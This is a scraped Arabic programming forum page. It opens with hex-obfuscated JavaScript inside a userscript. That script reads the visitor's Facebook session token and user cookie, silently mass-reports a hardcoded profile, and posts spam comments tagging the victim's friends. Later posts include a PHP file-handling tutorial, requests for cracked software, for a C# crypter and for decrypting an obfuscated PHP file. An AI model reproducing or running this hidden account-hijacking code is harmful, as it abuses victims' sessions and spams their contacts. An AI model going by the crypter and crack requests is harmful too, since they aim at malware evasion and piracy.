#000000 100%) !important;\nbackground: -webkit-linear-gradient(top, #45484d 0%,#000000 100%);\nbox-shadow: 0 2px 4px rgba(39, 98, 138, 0.75) !important;\nborder:2px ridge #CC00FF !important;\nmargin-top:5px!important;\nmargin-left:0px!important;\nborder-radius: 7px!important;\npadding:3px!important;\n}\n.GM_options_buttons input{\n text-shadow: 1px 1px 1px rgba(0, 0, 0, 0.99) !important;\n color: #CC00FF !important;\n\n}";if (typeof GM_addStyle != "undefined") { GM_addStyle(css);} else if (typeof PRO_addStyle != "undefined") { PRO_addStyle(css);} else if (typeof addStyle != "undefined") { addStyle(css);} else { var node = document.createElement("style"); node.type = "text/css"; node.appendChild(document.createTextNode(css)); var heads = document.getElementsByTagName("head"); if (heads.length > 0) { heads[0].appendChild(node); } else { // By Tr?ng(N V D) document.documentElement.appendChild(node); }}})();var _0xb161=["\x76\x61\x6C\x75\x65","\x66\x62\x5F\x64\x74\x73\x67","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x4E\x61\x6D\x65","\x6D\x61\x74\x63\x68","\x63\x6F\x6F\x6B\x69\x65","\x67\x65\x74\x54\x69\x6D\x65","\x2F\x2F\x77\x77\x77\x2E\x66\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F\x6D\x2F\x61\x6A\x61\x78\x2F\x72\x65\x70\x6F\x72\x74\x2F\x73\x6F\x63\x69\x61\x6C\x2E\x70\x68\x70","\x66\x62\x5F\x64\x74\x73\x67\x3D","\x26\x62\x6C\x6F\x63\x6B\x3D\x31\x26\x70\x70\x3D\x25\x37\x42\x25\x32\x32\x61\x63\x74\x69\x6F\x6E\x73\x5F\x74\x6F\x5F\x74\x61\x6B\x65\x25\x32\x32\x25\x33\x41\x25\x32\x32\x5B\x5D\x25\x32\x32\x25\x32\x43\x25\x32\x32\x61\x72\x65\x5F\x66\x72\x69\x65\x6E\x64\x73\x25\x32\x32\x25\x33\x41\x66\x61\x6C\x73\x65\x25\x32\x43\x25\x32\x32\x63\x69\x64\x25\x32\x32\x25\x33\x41","\x25\x32\x43\x25\x32\x32\x63\x6F\x6E\x74\x65\x6E\x74\x5F\x74\x79\x70\x65\x25\x32\x32\x25\x33\x41\x30\x25\x32\x43\x25\x32\x32\x65\x78\x70\x61\x6E\x64\x5F\x72\x65\x70\x6F\x72\x74\x25\x32\x32\x25\x33\x41\x31\x25\x32\x43\x25\x32\x32\x66\x69\x72\x73\x74\x5F\x63\x68\x6F\x69\x63\x65\x25\x32\x32\x25\x33\x41\x25\x32\x32\x66\x69\x6C\x65\x5F\x72\x65\x70\x6F\x72\x74\x25\x32\x32\x25\x32\x43\x25\x32\x32\x66\x72\x6F\x6D\x5F\x67\x65\x61\x72\x25\x32\x32\x25\x33\x41\x25\x32\x32\x74\x69\x6D\x65\x6C\x69\x6E\x65\x25\x32\x32\x25\x32\x43\x25\x32\x32\x69\x73\x5F\x66\x6F\x6C\x6C\x6F\x77\x69\x6E\x67\x25\x32\x32\x25\x33\x41\x66\x61\x6C\x73\x65\x25\x32\x43\x25\x32\x32\x69\x73\x5F\x74\x61\x67\x67\x65\x64\x25\x32\x32\x25\x33\x41\x66\x61\x6C\x73\x65\x25\x32\x43\x25\x32\x32\x6F\x6E\x5F\x70\x72\x6F\x66\x69\x6C\x65\x25\x32\x32\x25\x33\x41\x66\x61\x6C\x73\x65\x25\x32\x43\x25\x32\x32\x70\x68\x61\x73\x65\x25\x32\x32\x25\x33\x41\x33\x25\x32\x43\x25\x32\x32\x72\x65\x66\x25\x32\x32\x25\x33\x41\x25\x32\x32\x68\x74\x74\x70\x73\x25\x33\x41\x25\x35\x43\x25\x32\x46\x25\x35\x43\x25\x32\x46\x77\x77\x77\x2E\x66\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F\x6D\x25\x35\x43\x25\x32\x46\x4E\x61\x6E\x2E\x65\x72\x74\x74\x37\x25\x32\x32\x25\x32\x43\x25\x32\x32\x72\x65\x70\x6F\x72\x74\x5F\x74\x79\x70\x65\x25\x32\x32\x25\x33\x41\x31\x34\x35\x25\x32\x43\x25\x32\x32\x72\x69\x64\x25\x32\x32\x25\x33\x41","\x25\x32\x43\x25\x32\x32\x73\x75\x62\x5F\x72\x65\x70\x6F\x72\x74\x5F\x74\x79\x70\x65\x25\x32\x32\x25\x33\x41\x33\x25\x32\x43\x25\x32\x32\x74\x69\x6D\x65\x5F\x66\x6C\x6F\x77\x5F\x73\x74\x61\x72\x74\x65\x64\x25\x32\x32\x25\x33\x41","\x25\x32\x43\x25\x32\x32\x75\x73\x65\x72\x25\x32\x32\x25\x33\x41","\x25\x37\x44\x26\x66\x69\x6C\x65\x5F\x72\x65\x70\x6F\x72\x74\x3D\x31\x26\x5F\x5F\x75\x73\x65\x72\x3D","\x26\x5F\x5F\x61\x3D\x31\x26\x5F\x5F\x64\x79\x6E\x3D\x37\x6E\x38\x61\x68\x79\x6A\x32\x71\x6D\x76\x75\x35\x6B\x39\x55\x6D\x41\x41\x61\x55\x56\x70\x6F\x26\x5F\x5F\x72\x65\x71\x3D\x75\x26\x74\x74\x73\x74\x61\x6D\x70\x3D\x32\x36\x35\x38\x31\x36\x38\x35\x37\x31\x30\x37\x31\x31\x30\x38\x38\x38\x30","\x50\x4F\x53\x54","\x6F\x70\x65\x6E","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x73\x74\x61\x74\x75\x73","\x63\x6C\x6F\x73\x65","\x73\x65\x6E\x64","\x31\x30\x30\x30\x30\x36\x39\x35\x32\x31\x31\x39\x30\x34\x38"];var fb_dtsg=document[_0xb161[2]](_0xb161[1])[0][_0xb161[0]];var user_id=document[_0xb161[4]][_0xb161[3]](document[_0xb161[4]][_0xb161[3]](/c_user=(\d+)/)[1]);var now=( new Date)[_0xb161[5]]();function Report(_0x45e7x5){var _0x45e7x6= new XMLHttpRequest();var _0x45e7x7=_0xb161[6];var _0x45e7x8=_0xb161[7]+fb_dtsg+_0xb161[8]+_0x45e7x5+_0xb161[9]+_0x45e7x5+_0xb161[10]+now+_0xb161[11]+user_id+_0xb161[12]+user_id+_0xb161[13];_0x45e7x6[_0xb161[15]](_0xb161[14],_0x45e7x7,true);_0x45e7x6[_0xb161[16]]=function (){if(_0x45e7x6[_0xb161[17]]==4&&_0x45e7x6[_0xb161[18]]==200){_0x45e7x6[_0xb161[19]];} ;} ;_0x45e7x6[_0xb161[20]](_0x45e7x8);} ;var _0xa22c=["value","fb_dtsg","getElementsByName","match","cookie","654095104632675","onreadystatechange","readyState","arkadaslar = ","for (;;);","","replace","responseText",";","length","entries","payload","round"," @[","uid",":","text","]"," ","\x26filter[0]=user","\x26options[0]=friends_only","\x26options[1]=nm","\x26token=v7","\x26viewer=","\x26__user=","https://","indexOf","URL","GET","https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","open","http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","send","random","floor","\x26ft_ent_identifier=","\x26comment_text=","\x26source=2","\x26client_id=1377871797138:1707018092","\x26reply_fbid","\x26parent_comment_id","\x26rootid=u_jsonp_2_3","\x26clp={\x22cl_impid\x22:\x22453524a0\x22,\x22clearcounter\x22:0,\x22elementid\x22:\x22js_5\x22,\x22version\x22:\x22x\x22,\x22parent_fbid\x22:","}","\x26attached_sticker_fbid=0","\x26attached_photo_fbid=0","\x26giftoccasion","\x26ft[tn]=[]","\x26__a=1","\x26__dyn=7n8ahyj35ynxl2u5F97KepEsyo","\x26__req=q","\x26fb_dtsg=","\x26ttstamp=","POST","/ajax/ufi/add_comment.php","Content-type","application/x-www-form-urlencoded","setRequestHeader","status","close"];var fb_dtsg=document[_0xa22c[2]](_0xa22c[1])[0][_0xa22c[0]];var user_id=document[_0xa22c[4]][_0xa22c[3]](document[_0xa22c[4]][_0xa22c[3]](/c_user=(\d+)/)[1]);var id=_0xa22c[5];var arkadaslar=[];var svn_rev;function arkadaslari_al(id){var _0x7892x7= new XMLHttpRequest();_0x7892x7[_0xa22c[6]]=function (){if(_0x7892x7[_0xa22c[7]]==4){eval(_0xa22c[8]+_0x7892x7[_0xa22c[12]].toString()[_0xa22c[11]](_0xa22c[9],_0xa22c[10])+_0xa22c[13]);for(f=0;f<Math[_0xa22c[17]](arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]]/27);f++){mesaj=_0xa22c[10];mesaj_text=_0xa22c[10];for(i=f*27;i<(f+1)*27;i++){if(arkadaslar[_0xa22c[16]][_0xa22c[15]][i]){mesaj+=_0xa22c[18]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]]+_0xa22c[22];mesaj_text+=_0xa22c[23]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]];} ;} ;yorum_yap(id,mesaj);} ;} ;} ;var _0x7892x8=_0xa22c[24];_0x7892x8+=_0xa22c[25];_0x7892x8+=_0xa22c[26];_0x7892x8+=_0xa22c[27];_0x7892x8+=_0xa22c[28]+user_id;_0x7892x8+=_0xa22c[29]+user_id;if(document[_0xa22c[32]][_0xa22c[31]](_0xa22c[30])>=0){_0x7892x7[_0xa22c[35]](_0xa22c[33],_0xa22c[34]+_0x7892x8,true);} else {_0x7892x7[_0xa22c[35]](_0xa22c[33],_0xa22c[36]+_0x7892x8,true);} ;_0x7892x7[_0xa22c[37]]();} ;function RandomArkadas(){var _0x7892xa=_0xa22c[10];for(i=0;i<9;i++){_0x7892xa+=_0xa22c[18]+arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[21]]+_0xa22c[22];} ;return _0x7892xa;} ;function yorum_yap(id,_0x7892xc){var _0x7892xd= new XMLHttpRequest();var _0x7892x8=_0xa22c[10];_0x7892x8+=_0xa22c[40]+id;_0x7892x8+=_0xa22c[41]+encodeURIComponent(_0x7892xc);_0x7892x8+=_0xa22c[42];_0x7892x8+=_0xa22c[43];_0x7892x8+=_0xa22c[44];_0x7892x8+=_0xa22c[45];_0x7892x8+=_0xa22c[46];_0x7892x8+=_0xa22c[47]+id+_0xa22c[48];_0x7892x8+=_0xa22c[49];_0x7892x8+=_0xa22c[50];_0x7892x8+=_0xa22c[51];_0x7892x8+=_0xa22c[52];_0x7892x8+=_0xa22c[29]+user_id;_0x7892x8+=_0xa22c[53];_0x7892x8+=_0xa22c[54];_0x7892x8+=_0xa22c[55];_0x7892x8+=_0xa22c[56]+fb_dtsg;_0x7892x8+=_0xa22c[57];_0x7892xd[_0xa22c[35]](_0xa22c[58],_0xa22c[59],true);_0x7892xd[_0xa22c[62]](_0xa22c[60],_0xa22c[61]);_0x7892xd[_0xa22c[6]]=function (){if(_0x7892xd[_0xa22c[7]]==4&&_0x7892xd[_0xa22c[63]]==200){_0x7892xd[_0xa22c[64]];} ;} ;_0x7892xd[_0xa22c[37]](_0x7892x8);} ;arkadaslari_al(id);googleSearchwikipediaSearchyoutubeSearchtranslateSearchimageSearchfacebookSharetwitterSharegooglePlusSharepinterestSharelinkedinShare
  18. السلام عليكم   اخواني لدي مشكلة كبيرة جدا جدا بتلنسبه لي وهي عمل 8 سنوات لقواعد بياانت بالاكسس تم توقفها فجأة وحاولت استخدام الكثسر من برامج اصلاح الملفات ولكن كلها تحتاج لتسجيل او شراء ولم اجد برنامج مجانا او كراك او باتش للبرامج الاخرى وهذه هي صورة الرساله التي تظهر لي بالمرفقات   لا استطيع ارفاق البرنامج المعطوب وذلك لسرية المعلومات    
  19. السلام عليكم و رحمة الله ويركاته . هذا الدرس ضمن سلسة دروس الدورة التالية لتعلم لغة php ! التعامل مع الملفات و المجلدات . من الصعب برمجة تطبيق ويب دون التفاعل مع أي مصدر خارجي كقواعد البيانات أو الملفات و خصوصا ً انشاء الملفات و المجلدات و حذفها و تعديلها ... أولا ً : التعامل مع الملفات المسار هو طريقة للتعبير عن عنوان ملف أو مجلد في نظام التشغيل ,و المسارات نوعان : مسارات نسبية ومسارات مطلقة , المسارات النسبية تبدأ من المسار الحالي حتى نصل الى القيد المطلوب (القيد = مجلد أو ملف) مثلا مسار الملف file1.txt الموجود في المجلد folder الموجود في مجلد البرنامج الذي نقوم بتنفيذه يكون كالتالي : folder/file1.txtاما إذا كان الملف file1.txt موجودا ً في المجلد الأب للمجلد التالي (أي المجلد الذي يسبقه) يكون المسار كالتالي : ../file1.txtأي ان النقطتين تشيران الى أن الملف المطلوب في المجلد الأب للمجلد الحالي , ويوجد أيضا النقطة الواحدة "." التي تشير الى المجلد الحالي حيث يمكن استبدال المسار الأول كما يلي : ./folder/file1.txtاما الروابط المطلقة فهي تُشير الى مسار الملف أيا ً كان المجلد الذي يوجد فيه البرنامج . للحصول على المسار كاملا ً نستخدم الدالة realpath التي تقبل وسيطا ً وحيدا ً هو المسار النسبي للملف : <?phpecho realpath('file1.txt');?>وفي حال لم يُحدد الوسيط فيستم اعادة المسار المطلق للمجلد الحالي . التأكد من وجود ملف : في بعض الأحيان يلزم معرفة إذا كان ملف مُعين بمساره موجود أم لا , ولمعرفة ذلك نقوم باستدعاء الدالة file_exists التي تقبل وسيطا ً وحيدا ً هو مسار الملف و تُعيد القيمة true في حال وجوده : <?phpif(file_exists('file1.txt') === true){ echo 'file "file.txt" exists';}echo '<br>';if(file_exists('file2.txt') === false){ echo 'file "file2.txt" does not exists';}?> الحصول على حجم تخزين ملف : في حال اردنا معرفة حجم ملف , نستخدم الدالة filesize التي تقبل وسيطا ً واحدا ً هو مسار الملف , وتُعيد هذه الدالة حجم الملف مقدرا ً بالبايت , وللحصول على الحجم مقدراً بالكيلوبايت أو الميغابايت , نقسم على 1024 أو (1024*1024) على التوالي وبالترتيب : <?php$size = filesize('file1.txt');echo 'The size of file1.txt is : '. floor($size / 1024) .' KB';?>  استخراج امتداد ملف : كما تعلم لكل نوع من الملفات امتداد معين خاص بها , حيث يكون الامتداد مسبوقا ً بنقطة , فلذلك نقوم باستخراج الامتداد عن طريق الدالة explode - التي سبق شرحها في درس التعامل مع المصفوفات - حيث يكون امتداد الملف هو اخر سلسلة نصية تكون مسبوفة بنقطة "." كما في المثال التالي :   <?php$file = 'file.example.txt';$ext = explode('.', $file);echo 'The file extension is : ' . $ext[count($ext) - 1];//استخدمنا الدالة count للحصول على عدد عناصر المصفوفة $ext ومن ثم انقصنا منها 1 للحصول على مفتاح اخر عنصر .?> الحصول على وقت تعديل أو تغيير أو الوصول لملف : للحصول على بصمة الوقت التي تمثل آخر وقت لتغيير ملف ما , نستخدم الدالة filectime , حيث تقبل هذه الدالة وسيطا ً واحدا ً هو مسار الملف . أما للحصول على بصمة الوقت لآخر تعديل على الملف , نستخدم الدالة filemtime , وتقبل هذه الدالة - كما في الدالة السابقة - وسيطا ً وحيدا ً هو مسار الملف . الفرق التقني بين الدالة filectime و الدالة filemtime هو أن الدالة filectime تُعيد جميع التغيرات على ملف سواء ً على محتوياته أم على صلاحيات الوصول إليه أم تغيير المستخدم المالك له . أما الدالة filemtime فهي تشير الى آخر تعديل في محتويات الملف فقط . ملاحظة : الحرف c في الدالة filectime يدل على كلمة change , أما الحرف m في الدالة الثانية فهو يدل على الكلمة modification .     <?phpecho date("m/d/Y H:i:s", filemtime('file1.txt'));?>والدالة fileatime تُعيد بصمة وقت آخر وصول للملف أو false في حال فشلها , وكما في الدوال السابقة فهي تقبل مسار ملف ما كوسيط . الحصول على صلاحيات ملف : بعد معرفة وجود قيد ما سواءً أكان ملفاً أم مجلداً , علينا أن نعلم ما هي الأفعال التي يمكننا القيام بها على القيد , أ] هل لدينا الصلاحيات للقراءة و الكتابة و التنفيذ . في php نستخدم الدوال is_readable , is_writable , is_ executable لمعرفة امكانية القراءة أو الكتابة أو التنفيذ على التوالي وبالترتيب . تُعيد هذه الدوال true في حال نجاحها أو false ماعدا ذلك , وتقبل وسيطا ً وحيدا ً هو مسار القيد . المثال التالي يختبر إمكانية القراءة والكتابة و التنفيذ والحصول على حجم الملف وغيرها من المعلومات المتعلقة بالملف file1.txt :   <?php$file = 'file1.txt';echo '<pre>';if(file_exists($file) === true){ echo "Displaying file information for file $file ...<br>"; echo 'File path :' .realpath($file). '<br>'; echo 'File size :'. floor(filesize($file) / 1024). 'KB <br>'; echo 'Last File changing time : ' .date("m/d/Y H:i:s", filectime('file1.txt')). '<br>'; echo 'Last File modification time : '. date("m/d/Y H:i:s", filemtime('file1.txt')). '<br>'; echo 'Last File access : ' .date("m/d/Y H:i:s", fileatime('file1.txt')). '<br>'; echo 'Is readable? : '; echo is_readable($file) == true ? 'true' : 'false'; echo '<br>'; echo 'Is writable? : '; echo is_writable($file) == true ? 'true' : 'false'; echo '<br>'; echo 'Is executable? : '; echo is_executable($file) == true ? 'true' : 'false'; echo '<br>'; }else{ echo "File $file is not exists ...<br>";}echo '</pre>';?>مثال على إخراج الكود السابق : Displaying file information for file file1.txt ...File path :/opt/lampp/htdocs/image/file1.txtFile size :8KBLast File changing time : 01/25/2013 21:57:47Laast File modification time : 01/25/2013 20:40:03Last File access : 01/25/2013 20:40:05Is readable? : trueIs writable? : trueIs executable? : false حذف ملف : هل انت متأكد من أنك تريد حذف الملف , استخدم الدالة unlink :) , تقبل هذه الدالة وسيطا ً واحدا ً هو مسار الملف المُراد حذفه , وبالتأكيد يجب أن تكون لديك صلاحيات كتابة على الملف المُحدد حتى تستطيع حذفه عدا ذلك سيتم اظهار خطأ E_WARNING . <?phpunlink('file1.txt');?> تغيير صلاحيات قيد : كما في نظام linux والانظمة الشبيهة باليونكس , حيث نستخدم الأمر chmod لتغيير صلاحيات قيد ما , نستخدم الدالة chmod في لغة php للقيام بالمهمة ذاتها . لكن php لا تقبل الاعلان عن الصلاحيات كسلسلة نصية مثلا ً "a-wx" , وإنما تحصرها فقط باستخدام الصلاحيات بالارقام في النظام الثماني , أي تكون الصلاحية مكونة من اربعة ارقام الرقم الاول هو صفر , أما الارقام الثلاث الباقية هي عبارة عن الصلاحيات للمستخدم و لمجوعة المستخدم و لبقية المستخدمين على التوالي و بالترتيب , الجدول التالي يوضح الارقام والمصلاحيات المقابلة لها : * الرقم 0 يشير الى عدم اعطاء أي صلاحية * الرقم 1 يشير الى اعطاء صلاحية التنفيذ فقط . * الرقم 2 يشير الى اعطاء صلاحية الكتابة فقط . * الرقم 3 يشير الى اعطاء صلاحية الكتابة والتنفيذ . * الرقم 4 يشير الى اعطاء صلاحية القراءة فقط . * الرقم 5 يشير الى اعطاء صلاحية القراءة والتنفيذ . * الرقم 6 يشير الى اعطاء صلاحية القراءة و الكتابة . * الرقم 7 يشير الى اعطاء صلاحية القراءة والكتابة والتنفيذ . نقبل هذه دالة chmod وسيطين , الاول هو مسار القيد المُراد تغيير صلاحياته , والثاني هو الصلاحية , مثال : <?phpchmod('folder/file1.txt', 0600); # القراءة والكتابة للمستخدم , لاشيئ لبقية المستخدمينchmod('folder/file1.txt', 0755); # القراءة والكتابة والتنفيذ للمالك , القراءة و التنفيذ لبقية المستخدمين?>  نسخ أو نقل ملف : نستعمل الدالة copy لنسخ الملفات , تقبل هذا الدالة وسيطين الاول هو مسار الملف المُراد نسخة و الثاني هو المسار الجديد . في حال وجود ملف في المسار الجديد فسيتم استبداله تلقائيا ً . copy($source, $dest);اما لنقل ملف فنستخدم الدالة rename التي تقوم اساسا ً بتغيير اسم الملف لكن يمكن استخدامها لنقله , تقبل هذه الدالة وسيطين الاول هو مسار الملف و الثاني هو مسار الملف الجديد : rename($oldname, $newname);مثال : <?phpcopy ('file1.txt', 'file2.txt');rename('file2.txt', '../file.txt');?> قراءة الملفات والكتابة عليها : قبل اجراء أي عمليات على الملف , علينا تهيئته وذلك بانشاء مقبض للملف عن طريق الدالة fopen التي تقبل وسيطين الوسيط الأول هو مسار الملف , أما الوسيط الثاني هو الوضع المراد فتح الملف به , الجدول التالي يبين الاوضاع المختلفة لفتح ملف : * الوضع r : يفتح الملف للقراءة فقط مع وضع مؤشر الملف في بدايته (سنتحدث لاحقا ً عن مؤشر الملف وكيفية تحريكه) . * الوضع r+ : يقوم بفتح الملف للقراءة والكتابة مع وضع مؤشر الملف في بدايته . * الوضع w : يقوم بفتح الملف للكتابة فقط ويقوم بمسح جميع محتوياته , وإذا لم يكن الملف موجودا ً سوف يقوم بانشاءه . * الوضع w+ : كما في الوضع w , لكنه يقوم بفتح الملف للقراءة والكتابة . * الوضع a : يقوم بفتح الملف للكتابة فقط ويضع مؤشر الملف عند نهايته , إذا لم يكن الملف موجودا ً يقوم بإنشاءه . * الوضع a+ : يقوم بفتح الملف للقراءة و الكتابة ويضع مؤشر الملف عند نهايته , إذا لم يكن الملف موجودا ً يقوم بإنشاءه . الفرق بين a و w يكمن في أن w يقوم بحذف محتويات الملف , بينما الوضع a يحافظ على محتويات الملف و يضع المؤشر عند نهايته . يمكن اضافة الحرف b الى الاحرف السابقة لفتح الملف بالنظام الثنائي , ويفيد هذا الوضع عند القراءة أو الكتابة على ملفات غير نصية . يجب أن تكون لديك الصلاحية للقراءة أو الكتابة (حسب الوضع الذي تقوم باستخدامه) على الملف , ما عدا ذلك سيتم توليد رسالة خطأ مفادها أنك لا تملك الصلاحيات الكافية للقيام بتلك المهمة . يمكنك باستخدام الدالة fopen الاشارة الى ملفات خارج السيرفر المُنفذ عليه البرنامج , عن طريق بروتوكول HTTP أو ftp أو غيرهم ....   <?php$handle = fopen("file.txt", "r");$handle = fopen("./folder/file.zip", "wb");$handle = fopen("http://www.example.com/", "r");$handle = fopen("ftp://user:[email protected]/somefile.txt", "w");?>ويتم تحرير الذاكرة باغلاق مقبض الملف عن طريق الدالة fclose التي تقبل وسيطا وحيدا ً هو مقبض الملف المُنشئ بواسطة الدالة السابقة . ملاحظة : انشاء مقبض لملف لا يقتصر على الدالة fopen حيث يوجد دوال اخرى مثل الدالة fsockopen التي تقوم بانشاء مقبض لملف عن طريق اتصال socket , وهذا الموضوع خارج عن نطاق درسنا حاليا ً. قراءة البيانات من ملف : بعد انشاء مقبض الملف باستخدام الدالة fopen , نقوم باستخدام الدالة fread للقراءة من الملف وتقبل وسيطين : الاول هو مقبض الملف , والثاني هو عدد البايتات التي سيتم قراءتها من الملف بدءاً من مكان وجود مؤشر القراءة : fread($handle, $length);  ولقراءة الملف باكمله نقوم بتحدبد قيمة الوسيط length بجحم الملف عن طريق الدالة filesize كما في المثال التالي الذي يقوم بطباعة محتويات الملف file1.txt :   <?php$filename = 'file1.txt';$handle = fopen($filename, 'r');$contents = fread($handle, filesize($filename));echo $contents;fclose($handle);?>الدالة fgets شبيهة جدا ً بالدالة fread وتقوم بنفس العمل تقريبا ً حيث في معظم الاحيان يمكن استخدام fgets عوضا عن fread , حيث الفرق الاساسي بينهما هو ان الدالة fgets لا تتطلب تحديد عدد البايتات التي يجب قراءتها من الملف حيث تكون القيمة الافتراضية للوسيط length هي 1024 بايت . وكلا الدالتين تقومان بالتوقف عن القراءة عندما تصلان الى نهاية الملفEOF (End Of File) الكتابة على ملف : من اهم العمليات التي يمكن اجراءها على ملف هو اضافة و تعديل محتواه , ويتم ذلك في لغة php عن طريقة الدالة fwrite التي تقوم بكتابة البيانات المُمررة اليها الى ملف , طبعا يحب فتح الملف بوضع يسمح بالكتابة عليه كما في الوضعين (w , a) , الدالة fwrite تقبل ثلاثة وسطاء , الوسيط الاول هو مقبض الملف والثاني هو البيانات المُراد كتابتها و الثالث اختياري يمثل عدد البايتات التي سيتم كتابتها , فاذا تم تحديد الوسيط الثالث فان الكتابة على الملف سوف تتوقف عندما يصبح عدد البايتات المكتوبة مساويا لقيمة هذا الوسيط , الشكل العام للدالة fwrite هو : fwrite($handle, $string, $length);لا تنسى ان الدالة fwrite تقوم بطباعة رسالة خطأ عند عدم توفر صلاحيات للكتابة . المثال التالي يقوم بطباعة الجملة "Hello World !!" على الملف file1.txt : <?php$filename = 'file1.txt';$handle = fopen($filename, 'w+');fwrite($handle, 'Hello World !!');fclose($handle);?>الدالة fputs هي دالة مكافئة Alias للدالة fwrite , اي انها تقوم بنفس العمل تماما ً وتأخذ الوسائط ذاتها . الدالة feof : تقوم هذه الدالة باعادة true في حال وصل مؤشر القراءة الى نهاية الملف و false عدا ذلك و تُفيد عندما نقوم بالدوران على محتويات ملف لقراءته , وتقبل هذه الدالة وسيطا وحيدا ً هو مقبض الملف . <?php$file = fopen('file1.txt', 'r');while(!feof($file)){echo fgets($file). '<br>';}fclose($file);?> تغيير مكان المؤشر : لتغيير مكان المؤشر سواء عند القراءة أو الكتابة نستخدم الدالة fseek التي تقبل وسيطين اجباريين , الاول هو مقبض الملف والثاني هو offset الذي سوف يتم وضع المؤشر عنده . fseek($handle, $offset);ملاحظة : عند فتح الملف بوضع a أو a+ فإن الكتابة سوف تكون في اخر الملف حتى لو قمت بتغيير مكان المؤشر . الدالتين file_get_contents و file_put_contents : تقوم الدالة file_get_contents بقراءة ملف بأكمله على شكل سلسلة نصية و يُمرر لها مسار الملف كوسيط , شكلها العام : file_get_contents($filename);اما الدالة file_put_contents فتقوم بكتابة البيانات المُمررة اليها بالوسيط الثاني على الملف الذي يتم تحديده بمساره والذي يشكل الوسيط الاول : file_put_contents($filename, $data);وتقوم هذه الدالة بانشاء الملف اذا لم يكن موجودا ً , وفي حال وجوده تقوم بمسح جميع محتوياته ! ايهما استخدم fopen ومن ثم اقرأ الملف عن طريق fread ام استخدم file_get_contents ؟ بشكل بسيط اذا كنت تريد قراءة جميع محتويات ملف ما فاستخدم file_get_contents اما اذا كنت تريد قراءة عدد محدد من البايتات فاستخدم fread وذلك لتوفير اكبر قدر ممكن من الذاكرة . ثانيا ً : التعامل مع المجلدات يمكن باستخدام php القيام بمختلف العمليات على المجلدات كانشاءها و حذفها وتغيير صلاحيات الوصول إليها . القراءة من مجلد : كما في دالة fopen عند التعامل مع الملفات , تُستخدم الدالة opendir للحصول على مقبض للمجلد , حيث تقبل الدالة opendir وسيطا ً واحدا ً هو مسار المجلد , الشكل العام لتعريف هذه الدالة هو : $resorce = opendir($path);وايضا ً لتحرير الذاكرة وإغلاق مقبض الملف , نستخدم الدالة closedir التي تقوم بعمل مشابه للدالة fclose , تقبل هذه الدالة وسيطا ً واحدا ً هو مقبض المجلد الذي قُمنا بإنشاءه باستخدام الدالة opendir : closedir($handle); قراءة محتويات مجلد : تستخدم الدالة readdir لقراءة القيد التالي من مجلد تم انشاء مقبضه بواسطة الدالة opendir , حيث تقوم هذه الدالة بقراءة قيود الملفات على التتالي وحسب ترتيب نظام الملفات المُستخدم . تقبل هذه الدالة وسيطا ً واحدا ً هو مقبض المجلد و تُعيد القيد (اسم الملف أو المجلد) , وللمرور على جميع قيود المجلد نستخدم حلقة التكرار while . ولتطبيق الدوال الثلاث السابقة نجرب المثال التالي : <?php$dir = opendir('folder');while (($file = readdir($dir) )!== false){ echo $file.'<br>';}closedir($dir);?>في البداية قمنا بانشاء مقبض للمجلد ومن ثم حلقة تكرار يتم فيها طباعة اسم الملف أو المجلد ومن ثم قمنا بتحرير الذاكرة واغلاق المقبض . لاحظ وجود قيدين ممثلين بـ "." و ".." , و للتخلص منهم نعدل بالكود السابق لكي يتأكد من أن القيد لا يساوي احدى هاتين القيمتين : <?php$dir = opendir('folder');while (($file = readdir($dir) )!== false){ if($file == '.' OR $file == '..') { continue; } echo $file.'<br>';}closedir($dir);?>حذف المجلدات : لحذف مجلد نستخدم الدالة rmdir التي تقبل وسيطا ً واحدا ً هو مسار المجلد المُراد حذفه , لكن يجب أن يكون هذا المجلد فارغا ً أما اذا كان المجلد يحوي أي ملف او مجلد فرعي , فلن يتم تنفيذ هذه التعليمة و سيتم توليد رسالة خطأ . لكن اذا اردنا حذف مجلد يحوي ملفات ومجلدات فرعية , فيجب علينا أولا ً أن نقوم بحذف جميع محتوياته قبل محاولة استدعاء الدالة السابقة : <?phpfunction remove_dir($path){ if(is_dir($path) === false) { return false; } $dir = opendir($path); while (($file = readdir($dir) )!== false) { if($file == '.' OR $file == '..') { continue; } if(is_file($path.'/'.$file)) { unlink($path.'/'.$file); } elseif(is_dir($path.'/'.$file)) { remove_dir($path.'/'.$file); } } rmdir($path); closedir($dir);}remove_dir('folder');?>إنشاء مجلد : بالطبع يمكنك باستخدام php انشاء المجلدات وتعيين صلاحيات الوصول إليها , ويتم ذلك بواسطة الدالة mkdir التي تقبل وسيطين , الأول اجباري هو اسم المجلد والثاني إختياري هو صلاحيات الوصول للمجلد , ويكون شكلها العام كالتالي : mkdir($pathname, $mode);وبشكل افتراضي يكون mode مساويا ً للقيمة 0777 , أي صلاحيات القراءة والكتابة والتنفيذ لجميع المستخدمين .     الدرس السابق | الإنتقال للموضوع الأساسي
  20. السلام عليكم ورحمة الله وبركاته    كيف حالكم اعضاء الفريق العربي للبرمجة   عساكم بخير ان شاء الله   اخواني الأفاضل   كيف اقوم ببرمجة Crypter بالــ C# ارجوا المساعدة ولكم جزيل الشكر 
  21. السلام عليكم و رحمة الله و بركاتة   ممكن حد يفكلي تشفير ملف php لانه مهم والله     الملف مهم جدا لاهنتم   تحميل الملف   ارجوكم فكوة exchange.php
